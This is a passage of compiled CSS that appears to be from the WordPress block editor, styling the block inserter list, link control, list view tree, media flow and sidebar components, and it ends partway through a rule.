.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled) .block-editor-block-icon.has-colors{
  color:var(--wp-block-synced-color);
}
.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):hover .block-editor-block-types-list__item-title{
  color:var(--wp-block-synced-color) !important;
  filter:brightness(.95);
}
.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):hover svg{
  color:var(--wp-block-synced-color) !important;
}
.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):after{
  background:var(--wp-block-synced-color);
}

.components-button.block-editor-block-types-list__item{
  align-items:stretch;
  background:#0000;
  color:#1e1e1e;
  cursor:pointer;
  display:flex;
  flex-direction:column;
  font-size:13px;
  height:auto;
  justify-content:center;
  padding:8px;
  position:relative;
  width:100%;
  word-break:break-word;
}
@media not (prefers-reduced-motion){
  .components-button.block-editor-block-types-list__item{
    transition:all .05s ease-in-out;
  }
}
.components-button.block-editor-block-types-list__item:disabled{
  cursor:default;
  opacity:.6;
}
.components-button.block-editor-block-types-list__item:not(:disabled):hover .block-editor-block-types-list__item-title{
  color:var(--wp-admin-theme-color) !important;
  filter:brightness(.95);
}
.components-button.block-editor-block-types-list__item:not(:disabled):hover svg{
  color:var(--wp-admin-theme-color) !important;
}
.components-button.block-editor-block-types-list__item:not(:disabled):hover:after{
  background:var(--wp-admin-theme-color);
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  opacity:.04;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.components-button.block-editor-block-types-list__item:not(:disabled):focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.components-button.block-editor-block-types-list__item:not(:disabled).is-active{
  background:#1e1e1e;
  color:#fff;
  outline:2px solid #0000;
  outline-offset:-2px;
}

.block-editor-block-types-list__item-icon{
  color:#1e1e1e;
  padding:12px 20px;
}
@media not (prefers-reduced-motion){
  .block-editor-block-types-list__item-icon{
    transition:all .05s ease-in-out;
  }
}
.block-editor-block-types-list__item-icon .block-editor-block-icon{
  margin-left:auto;
  margin-right:auto;
}
@media not (prefers-reduced-motion){
  .block-editor-block-types-list__item-icon svg{
    transition:all .15s ease-out;
  }
}
.block-editor-block-types-list__list-item[draggable=true] .block-editor-block-types-list__item-icon{
  cursor:grab;
}

.block-editor-block-types-list__item-title{
  font-size:12px;
  hyphens:auto;
  padding:4px 2px 8px;
}

.block-editor-block-inspector__tabs [role=tablist]{
  width:100%;
}

.block-editor-inspector-popover-header{
  margin-bottom:16px;
}

.items-justified-left{
  justify-content:flex-start;
}

.items-justified-center{
  justify-content:center;
}

.items-justified-right{
  justify-content:flex-end;
}

.items-justified-space-between{
  justify-content:space-between;
}

@keyframes loadingpulse{
  0%{
    opacity:1;
  }
  50%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
.block-editor-link-control{
  min-width:350px;
  position:relative;
}
.components-popover__content .block-editor-link-control{
  max-width:350px;
  min-width:auto;
  width:90vw;
}
.show-icon-labels .block-editor-link-control .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .block-editor-link-control .components-button.has-icon:before{
  content:attr(aria-label);
}
.show-icon-labels .block-editor-link-control .block-editor-link-control__search-item-top{
  flex-wrap:wrap;
  gap:4px;
}
.show-icon-labels .block-editor-link-control .block-editor-link-control__search-item-top .components-button.has-icon{
  padding:4px;
  width:auto;
}
.show-icon-labels .block-editor-link-control .is-preview .block-editor-link-control__search-item-header{
  margin-right:0;
  min-width:100%;
}

.block-editor-link-control__search-input-wrapper{
  margin-bottom:8px;
  position:relative;
}

.block-editor-link-control__search-input-container,.block-editor-link-control__search-input-wrapper{
  position:relative;
}

.block-editor-link-control__field{
  margin:16px;
}
.block-editor-link-control__field .components-base-control__label{
  color:#1e1e1e;
}

.block-editor-link-control__search-error{
  margin:-8px 16px 16px;
}

.block-editor-link-control__search-actions{
  padding:8px 16px 16px;
}

.block-editor-link-control__search-results-wrapper{
  position:relative;
}
.block-editor-link-control__search-results-wrapper:after,.block-editor-link-control__search-results-wrapper:before{
  content:"";
  display:block;
  left:-1px;
  pointer-events:none;
  position:absolute;
  right:16px;
  z-index:100;
}
.block-editor-link-control__search-results-wrapper:before{
  bottom:auto;
  height:8px;
  top:0;
}
.block-editor-link-control__search-results-wrapper:after{
  bottom:0;
  height:16px;
  top:auto;
}

.block-editor-link-control__search-results{
  margin-top:-16px;
  max-height:200px;
  overflow-y:auto;
  padding:8px;
}
.block-editor-link-control__search-results.is-loading{
  opacity:.2;
}

.block-editor-link-control__search-item.components-button.components-menu-item__button{
  height:auto;
  text-align:left;
}
.block-editor-link-control__search-item .components-menu-item__item{
  display:inline-block;
  overflow:hidden;
  text-overflow:ellipsis;
  width:100%;
}
.block-editor-link-control__search-item .components-menu-item__item mark{
  background-color:initial;
  color:inherit;
  font-weight:600;
}
.block-editor-link-control__search-item .components-menu-item__shortcut{
  color:#757575;
  text-transform:capitalize;
  white-space:nowrap;
}
.block-editor-link-control__search-item[aria-selected]{
  background:#f0f0f0;
}
.block-editor-link-control__search-item.is-current{
  background:#0000;
  border:0;
  cursor:default;
  flex-direction:column;
  padding:16px;
  width:100%;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-header{
  align-items:center;
  display:block;
  flex-direction:row;
  gap:8px;
  margin-right:8px;
  overflow-wrap:break-word;
  white-space:pre-wrap;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-header .block-editor-link-control__search-item-info{
  color:#757575;
  font-size:12px;
  line-height:1.1;
  word-break:break-all;
}
.block-editor-link-control__search-item.is-preview .block-editor-link-control__search-item-header{
  display:flex;
  flex:1;
}
.block-editor-link-control__search-item.is-error .block-editor-link-control__search-item-header{
  align-items:center;
}
.block-editor-link-control__search-item.is-url-title .block-editor-link-control__search-item-title{
  word-break:break-all;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-details{
  display:flex;
  flex-direction:column;
  gap:4px;
  justify-content:space-between;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-header .block-editor-link-control__search-item-icon{
  background-color:#f0f0f0;
  border-radius:2px;
  height:32px;
  width:32px;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-icon{
  align-items:center;
  display:flex;
  flex-shrink:0;
  justify-content:center;
  position:relative;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-icon img{
  width:16px;
}
.block-editor-link-control__search-item.is-error .block-editor-link-control__search-item-icon{
  max-height:32px;
  top:0;
  width:32px;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title{
  line-height:1.1;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title:focus{
  box-shadow:none;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title:focus-visible{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
  text-decoration:none;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title mark{
  background-color:initial;
  color:inherit;
  font-weight:600;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title span{
  font-weight:400;
}
.block-editor-link-control__search-item .block-editor-link-control__search-item-title .components-external-link__icon{
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  clip:rect(0, 0, 0, 0);
  border:0;
}

.block-editor-link-control__search-item-top{
  align-items:center;
  display:flex;
  flex-direction:row;
  width:100%;
}

.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon img,.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon svg{
  opacity:0;
}
.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon:before{
  background-color:#f0f0f0;
  border-radius:100%;
  bottom:0;
  content:"";
  display:block;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
@media not (prefers-reduced-motion){
  .block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon:before{
    animation:loadingpulse 1s linear infinite;
    animation-delay:.5s;
  }
}

.block-editor-link-control__loading{
  align-items:center;
  display:flex;
  margin:16px;
}
.block-editor-link-control__loading .components-spinner{
  margin-top:0;
}

.components-button+.block-editor-link-control__search-create{
  overflow:visible;
  padding:12px 16px;
}
.components-button+.block-editor-link-control__search-create:before{
  content:"";
  display:block;
  left:0;
  position:absolute;
  top:-10px;
  width:100%;
}

.block-editor-link-control__search-create{
  align-items:center;
}
.block-editor-link-control__search-create .block-editor-link-control__search-item-title{
  margin-bottom:0;
}
.block-editor-link-control__search-create .block-editor-link-control__search-item-icon{
  top:0;
}

.block-editor-link-control__drawer-inner{
  display:flex;
  flex-basis:100%;
  flex-direction:column;
  position:relative;
}

.block-editor-link-control__setting{
  flex:1;
  margin-bottom:0;
  padding:8px 0 8px 24px;
}
.block-editor-link-control__setting .components-base-control__field{
  display:flex;
}
.block-editor-link-control__setting .components-base-control__field .components-checkbox-control__label{
  color:#1e1e1e;
}
.block-editor-link-control__setting input{
  margin-left:0;
}
.is-preview .block-editor-link-control__setting{
  padding:20px 8px 8px 0;
}

.block-editor-link-control__tools{
  margin-top:-16px;
  padding:8px 8px 0;
}
.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle{
  gap:0;
  padding-left:0;
}
.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true]{
  color:#1e1e1e;
}
.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true] svg{
  transform:rotate(90deg);
  visibility:visible;
}
@media not (prefers-reduced-motion){
  .block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true] svg{
    transition:transform .1s ease;
  }
}
.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=false] svg{
  transform:rotate(0deg);
  visibility:visible;
}
@media not (prefers-reduced-motion){
  .block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=false] svg{
    transition:transform .1s ease;
  }
}

.block-editor-link-control .block-editor-link-control__search-input .components-spinner{
  display:block;
}
.block-editor-link-control .block-editor-link-control__search-input .components-spinner.components-spinner{
  bottom:auto;
  left:auto;
  position:absolute;
  right:40px;
  top:calc(50% - 8px);
}

.block-editor-link-control .block-editor-link-control__search-input-wrapper.has-actions .components-spinner{
  right:12px;
  top:calc(50% + 4px);
}

.block-editor-list-view-tree{
  border-collapse:collapse;
  margin:0;
  padding:0;
  width:100%;
}
.components-modal__content .block-editor-list-view-tree{
  margin:-12px -6px 0;
  width:calc(100% + 12px);
}
.block-editor-list-view-tree.is-dragging tbody{
  pointer-events:none;
}

.block-editor-list-view-leaf{
  position:relative;
  transform:translateY(0);
}
.block-editor-list-view-leaf.is-draggable,.block-editor-list-view-leaf.is-draggable .block-editor-list-view-block-contents{
  cursor:grab;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button[aria-expanded=true]{
  color:inherit;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button:hover{
  color:var(--wp-admin-theme-color);
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button svg{
  fill:currentColor;
}
@media (forced-colors:active){
  .block-editor-list-view-leaf .block-editor-list-view-block-select-button svg{
    fill:CanvasText;
  }
}
.is-dragging-components-draggable .block-editor-list-view-leaf:not(.is-selected) .block-editor-list-view-block-select-button:hover{
  color:inherit;
}
.block-editor-list-view-leaf.is-selected td{
  background:var(--wp-admin-theme-color);
}
.block-editor-list-view-leaf.is-selected.is-synced td{
  background:var(--wp-block-synced-color);
}
.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents .block-editor-block-icon,.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:focus,.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:hover{
  color:var(--wp-block-synced-color);
}
.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:focus:after{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents,.block-editor-list-view-leaf.is-selected .components-button.has-icon{
  color:#fff;
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents:focus:after{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-editor-list-view-leaf.is-selected.is-synced .block-editor-list-view-block-contents:focus:after{
  box-shadow:inset 0 0 0 1px #fff, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color);
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff;
}
.block-editor-list-view-leaf.is-first-selected td:first-child{
  border-top-left-radius:2px;
}
.block-editor-list-view-leaf.is-first-selected td:last-child{
  border-top-right-radius:2px;
}
.block-editor-list-view-leaf.is-last-selected td:first-child{
  border-bottom-left-radius:2px;
}
.block-editor-list-view-leaf.is-last-selected td:last-child{
  border-bottom-right-radius:2px;
}
.block-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch){
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
}
.block-editor-list-view-leaf.is-synced-branch.is-branch-selected{
  background:rgba(var(--wp-block-synced-color--rgb), .04);
}
.block-editor-list-view-leaf.is-branch-selected.is-first-selected td:first-child{
  border-top-left-radius:2px;
}
.block-editor-list-view-leaf.is-branch-selected.is-first-selected td:last-child{
  border-top-right-radius:2px;
}
.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-first-selected td:first-child{
  border-top-left-radius:2px;
}
.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-first-selected td:last-child{
  border-top-right-radius:2px;
}
.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-last-selected td:first-child{
  border-bottom-left-radius:2px;
}
.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-last-selected td:last-child{
  border-bottom-right-radius:2px;
}
.block-editor-list-view-leaf.is-branch-selected:not(.is-selected) td{
  border-radius:0;
}
.block-editor-list-view-leaf.is-displacement-normal{
  transform:translateY(0);
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf.is-displacement-normal{
    transition:transform .2s;
  }
}
.block-editor-list-view-leaf.is-displacement-up{
  transform:translateY(-32px);
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf.is-displacement-up{
    transition:transform .2s;
  }
}
.block-editor-list-view-leaf.is-displacement-down{
  transform:translateY(32px);
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf.is-displacement-down{
    transition:transform .2s;
  }
}
.block-editor-list-view-leaf.is-after-dragged-blocks{
  transform:translateY(calc(var(--wp-admin--list-view-dragged-items-height, 32px)*-1));
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf.is-after-dragged-blocks{
    transition:transform .2s;
  }
}
.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-up{
  transform:translateY(calc(-32px + var(--wp-admin--list-view-dragged-items-height, 32px)*-1));
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-up{
    transition:transform .2s;
  }
}
.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-down{
  transform:translateY(calc(32px + var(--wp-admin--list-view-dragged-items-height, 32px)*-1));
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-down{
    transition:transform .2s;
  }
}
.block-editor-list-view-leaf.is-dragging{
  left:0;
  opacity:0;
  pointer-events:none;
  z-index:-9999;
}
.block-editor-list-view-leaf .block-editor-list-view-block-contents{
  align-items:center;
  border-radius:2px;
  box-sizing:border-box;
  color:inherit;
  display:flex;
  font-family:inherit;
  font-size:13px;
  font-weight:400;
  height:32px;
  margin:0;
  padding:6px 4px 6px 0;
  position:relative;
  text-align:left;
  text-decoration:none;
  white-space:nowrap;
  width:100%;
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf .block-editor-list-view-block-contents{
    transition:box-shadow .1s linear;
  }
}
.components-modal__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{
  padding-left:0;
  padding-right:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block-contents:focus,.block-editor-list-view-leaf.is-nesting .block-editor-list-view-block-contents{
  box-shadow:none;
}
.block-editor-list-view-leaf .block-editor-list-view-block-contents:focus:after,.block-editor-list-view-leaf.is-nesting .block-editor-list-view-block-contents:after{
  border-radius:inherit;
  bottom:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:-29px;
  top:0;
  z-index:2;
}
.block-editor-list-view-leaf.has-single-cell .block-editor-list-view-block-contents:focus:after{
  right:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu:focus,.block-editor-list-view-leaf.is-nesting .block-editor-list-view__menu{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  z-index:1;
}
.block-editor-list-view-leaf.is-visible .block-editor-list-view-block-contents{
  opacity:1;
}
@keyframes __wp-base-styles-fade-in{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf.is-visible .block-editor-list-view-block-contents{
    animation:__wp-base-styles-fade-in .08s linear 0s;
    animation-fill-mode:forwards;
  }
}
.block-editor-list-view-leaf .block-editor-block-icon{
  flex:0 0 24px;
  margin-right:4px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__contents-cell,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell{
  padding:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell{
  line-height:0;
  vertical-align:middle;
  width:36px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell>*{
  opacity:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell.is-visible>*,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell:focus-within>*,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell:hover>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell.is-visible>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell:focus-within>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell:hover>*{
  opacity:1;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell .components-button.has-icon,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell .components-button.has-icon{
  min-width:24px;
  padding:0;
  width:24px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell{
  padding-right:4px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell .components-button.has-icon{
  height:24px;
}
.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell-alignment-wrapper{
  align-items:center;
  display:flex;
  flex-direction:column;
  height:100%;
}
.block-editor-list-view-leaf .block-editor-block-mover-button{
  height:24px;
  position:relative;
  width:36px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button svg{
  height:24px;
  position:relative;
}
.block-editor-list-view-leaf .block-editor-block-mover-button.is-up-button{
  align-items:flex-end;
  margin-top:-6px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button.is-up-button svg{
  bottom:-4px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button.is-down-button{
  align-items:flex-start;
  margin-bottom:-6px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button.is-down-button svg{
  top:-4px;
}
.block-editor-list-view-leaf .block-editor-block-mover-button:before{
  height:16px;
  left:0;
  min-width:100%;
  right:0;
}
.block-editor-list-view-leaf .block-editor-inserter__toggle{
  background:#1e1e1e;
  color:#fff;
  height:24px;
  margin:6px 6px 6px 1px;
  min-width:24px;
}
.block-editor-list-view-leaf .block-editor-inserter__toggle:active{
  color:#fff;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__label-wrapper svg{
  left:2px;
  position:relative;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__title{
  flex:1;
  position:relative;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__title .components-truncate{
  position:absolute;
  transform:translateY(-50%);
  width:100%;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__anchor-wrapper{
  max-width:min(110px, 40%);
  position:relative;
  width:100%;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__anchor{
  position:absolute;
  right:0;
  transform:translateY(-50%);
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-select-button__anchor{
  background:#0000004d;
  color:#fff;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__lock,.block-editor-list-view-leaf .block-editor-list-view-block-select-button__sticky{
  line-height:0;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__images{
  display:flex;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image{
  background-size:cover;
  border-radius:1px;
  height:18px;
  width:18px;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image:not(:only-child){
  box-shadow:0 0 0 2px #fff;
}
.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image:not(:first-child){
  margin-left:-6px;
}
.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-select-button__image:not(:only-child){
  box-shadow:0 0 0 2px var(--wp-admin-theme-color);
}

.block-editor-list-view-draggable-chip{
  opacity:.8;
}

.block-editor-list-view-appender__cell .block-editor-list-view-appender__container,.block-editor-list-view-appender__cell .block-editor-list-view-block__contents-container,.block-editor-list-view-block__contents-cell .block-editor-list-view-appender__container,.block-editor-list-view-block__contents-cell .block-editor-list-view-block__contents-container{
  display:flex;
}

.block-editor-list-view__expander{
  cursor:pointer;
  height:24px;
  width:24px;
}

.block-editor-list-view-leaf[aria-level] .block-editor-list-view__expander{
  margin-left:192px;
}

.block-editor-list-view-leaf[aria-level="1"] .block-editor-list-view__expander{
  margin-left:0;
}

.block-editor-list-view-leaf[aria-level="2"] .block-editor-list-view__expander{
  margin-left:24px;
}

.block-editor-list-view-leaf[aria-level="3"] .block-editor-list-view__expander{
  margin-left:48px;
}

.block-editor-list-view-leaf[aria-level="4"] .block-editor-list-view__expander{
  margin-left:72px;
}

.block-editor-list-view-leaf[aria-level="5"] .block-editor-list-view__expander{
  margin-left:96px;
}

.block-editor-list-view-leaf[aria-level="6"] .block-editor-list-view__expander{
  margin-left:120px;
}

.block-editor-list-view-leaf[aria-level="7"] .block-editor-list-view__expander{
  margin-left:144px;
}

.block-editor-list-view-leaf[aria-level="8"] .block-editor-list-view__expander{
  margin-left:168px;
}

.block-editor-list-view-leaf .block-editor-list-view__expander{
  visibility:hidden;
}

.block-editor-list-view-leaf[data-expanded=true] .block-editor-list-view__expander svg{
  transform:rotate(90deg);
  visibility:visible;
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf[data-expanded=true] .block-editor-list-view__expander svg{
    transition:transform .2s ease;
  }
}

.block-editor-list-view-leaf[data-expanded=false] .block-editor-list-view__expander svg{
  transform:rotate(0deg);
  visibility:visible;
}
@media not (prefers-reduced-motion){
  .block-editor-list-view-leaf[data-expanded=false] .block-editor-list-view__expander svg{
    transition:transform .2s ease;
  }
}

.block-editor-list-view-drop-indicator{
  pointer-events:none;
}
.block-editor-list-view-drop-indicator .block-editor-list-view-drop-indicator__line{
  background:var(--wp-admin-theme-color);
  border-radius:4px;
  height:4px;
}

.block-editor-list-view-drop-indicator--preview{
  pointer-events:none;
}
.block-editor-list-view-drop-indicator--preview .components-popover__content{
  overflow:hidden !important;
}
.block-editor-list-view-drop-indicator--preview .block-editor-list-view-drop-indicator__line{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-radius:4px;
  height:32px;
  overflow:hidden;
}
.block-editor-list-view-drop-indicator--preview .block-editor-list-view-drop-indicator__line--darker{
  background:rgba(var(--wp-admin-theme-color--rgb), .09);
}

.block-editor-list-view-placeholder{
  height:32px;
  margin:0;
  padding:0;
}

.list-view-appender .block-editor-inserter__toggle{
  background-color:#1e1e1e;
  color:#fff;
  height:24px;
  margin:8px 0 0 24px;
  padding:0;
}
.list-view-appender .block-editor-inserter__toggle.has-icon.is-next-40px-default-size{
  min-width:24px;
}
.list-view-appender .block-editor-inserter__toggle:focus,.list-view-appender .block-editor-inserter__toggle:hover{
  background:var(--wp-admin-theme-color);
  color:#fff;
}

.list-view-appender__description{
  display:none;
}

.block-editor-media-placeholder__url-input-form{
  min-width:260px;
}
@media (min-width:600px){
  .block-editor-media-placeholder__url-input-form{
    width:300px;
  }
}
.block-editor-media-placeholder__url-input-form input{
  direction:ltr;
}

.modal-open .block-editor-media-replace-flow__options{
  display:none;
}

.block-editor-media-replace-flow__indicator{
  margin-left:4px;
}

.block-editor-media-replace-flow__media-upload-menu:not(:empty)+.block-editor-media-flow__url-input{
  border-top:1px solid #1e1e1e;
  margin-top:8px;
  padding-bottom:8px;
}

.block-editor-media-flow__url-input{
  margin-left:-8px;
  margin-right:-8px;
  padding:16px;
}
.block-editor-media-flow__url-input .block-editor-media-replace-flow__image-url-label{
  display:block;
  margin-bottom:8px;
  top:16px;
}
.block-editor-media-flow__url-input .block-editor-link-control{
  width:300px;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-url-input{
  margin:0;
  padding:0;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-info,.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-title{
  max-width:200px;
  white-space:nowrap;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__tools{
  justify-content:flex-end;
  padding:16px var(--wp-admin-border-width-focus) var(--wp-admin-border-width-focus);
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item.is-current{
  padding:0;
  width:auto;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]{
  margin:0;
  width:100%;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-actions{
  padding:8px 0 0;
}

.block-editor-media-flow__error{
  max-width:255px;
  padding:0 20px 20px;
}
.block-editor-media-flow__error .components-with-notices-ui{
  max-width:255px;
}
.block-editor-media-flow__error .components-with-notices-ui .components-notice__content{
  overflow:hidden;
  word-wrap:break-word;
}
.block-editor-media-flow__error .components-with-notices-ui .components-notice__dismiss{
  position:absolute;
  right:10px;
}

.block-editor-multi-selection-inspector__card{
  padding:16px;
}

.block-editor-multi-selection-inspector__card-title{
  font-weight:500;
}

.block-editor-multi-selection-inspector__card .block-editor-block-icon{
  height:24px;
  margin-left:-2px;
  padding:0 3px;
  width:36px;
}

.block-editor-responsive-block-control{
  border-bottom:1px solid #ccc;
  margin-bottom:28px;
  padding-bottom:14px;
}
.block-editor-responsive-block-control:last-child{
  border-bottom:0;
  padding-bottom:0;
}

.block-editor-responsive-block-control__title{
  margin:0 0 .6em -3px;
}

.block-editor-responsive-block-control__label{
  font-weight:600;
  margin-bottom:.6em;
  margin-left:-3px;
}

.block-editor-responsive-block-control__inner{
  margin-left:-1px;
}

.block-editor-responsive-block-control__toggle{
  margin-left:1px;
}

.block-editor-responsive-block-control .components-base-control__help{
  border:0;
  clip-path:inset(50%);
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  word-wrap:normal !important;
}

.components-popover.block-editor-rich-text__inline-format-toolbar{
  z-index:99998;
}
.components-popover.block-editor-rich-text__inline-format-toolbar .components-popover__content{
  border-radius:2px;
  box-shadow:none;
  margin-bottom:8px;
  min-width:auto;
  outline:none;
  width:auto;
}
.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar{
  border-radius:2px;
}
.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar-group{
  background:none;
}
.components-popover.block-editor-rich-text__inline-format-toolbar .components-dropdown-menu__toggle,.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar__control{
  min-height:48px;
  min-width:48px;
  padding-left:12px;
  padding-right:12px;
}

.block-editor-rich-text__inline-format-toolbar-group .components-dropdown-menu__toggle{
  justify-content:center;
}

.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon{
  width:auto;
}
.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon:after{
  content:attr(aria-label);
}

.block-editor-skip-to-selected-block{
  position:absolute;
  top:-9999em;
}
.block-editor-skip-to-selected-block:focus{
  background:#f1f1f1;
  font-size:14px;
  font-weight:600;
  z-index:100000;
}

.block-editor-tabbed-sidebar{
  background-color:#fff;
  display:flex;
  flex-direction:column;
  flex-grow:1;
  height:100%;
  overflow:hidden;
}

.block-editor-tabbed-sidebar__tablist-and-close-button{
  border-bottom:1px solid #ddd;
  display:flex;
  justify-content:space-between;
  padding-right:8px;
}

.block-editor-tabbed-sidebar__close-button{
  align-self:center;
  background:#fff;
  order:1;
}

.block-editor-tabbed-sidebar__tablist{
  margin-bottom:-1px;
}

.block-editor-tabbed-sidebar__tabpanel{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow-y:auto;
  scrollbar-gutter:auto;
}

.block-editor-tool-selector__help{
  border-top:1px solid #ddd;
  color:#757575;
